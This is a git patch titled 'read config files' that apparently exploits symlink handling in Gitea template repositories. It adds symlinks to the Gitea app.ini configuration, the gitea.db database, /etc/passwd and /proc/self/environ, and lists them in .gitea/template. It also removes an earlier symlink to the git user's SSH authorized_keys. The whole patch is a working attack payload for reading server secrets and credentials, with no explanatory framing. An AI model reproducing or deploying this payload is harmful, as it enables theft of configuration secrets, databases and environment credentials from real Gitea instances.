From 9908af3d30ff962980e408b4b6d8764e2099fe6a Mon Sep 17 00:00:00 2001 From: secdev99 Date: Mon, 6 Jul 2026 05:12:08 +0900 Subject: [PATCH] read config files --- .gitea/template | 4 +++- app_ini | 1 + authorized_keys | 1 - etc_passwd | 1 + gitea_db_link | 1 + proc_environ | 1 + 6 files changed, 7 insertions(+), 2 deletions(-) create mode 120000 app_ini delete mode 120000 authorized_keys create mode 120000 etc_passwd create mode 120000 gitea_db_link create mode 120000 proc_environ diff --git a/.gitea/template b/.gitea/template index 3bc8063..f352948 100644 --- a/.gitea/template +++ b/.gitea/template @@ -1 +1,3 @@ -authorized_keys \ No newline at end of file +app_ini +etc_passwd +proc_environ diff --git a/app_ini b/app_ini new file mode 120000 index 0000000..c178b08 --- /dev/null +++ b/app_ini @@ -0,0 +1 @@ +/data/gitea/conf/app.ini \ No newline at end of file diff --git a/authorized_keys b/authorized_keys deleted file mode 120000 index 6d44225..0000000 --- a/authorized_keys +++ /dev/null @@ -1 +0,0 @@ -/data/git/.ssh/authorized_keys \ No newline at end of file diff --git a/etc_passwd b/etc_passwd new file mode 120000 index 0000000..3594e94 --- /dev/null +++ b/etc_passwd @@ -0,0 +1 @@ +/etc/passwd \ No newline at end of file diff --git a/gitea_db_link b/gitea_db_link new file mode 120000 index 0000000..353752a --- /dev/null +++ b/gitea_db_link @@ -0,0 +1 @@ +/data/gitea/gitea.db \ No newline at end of file diff --git a/proc_environ b/proc_environ new file mode 120000 index 0000000..82c83b2 --- /dev/null +++ b/proc_environ @@ -0,0 +1 @@ +/proc/self/environ \ No newline at end of file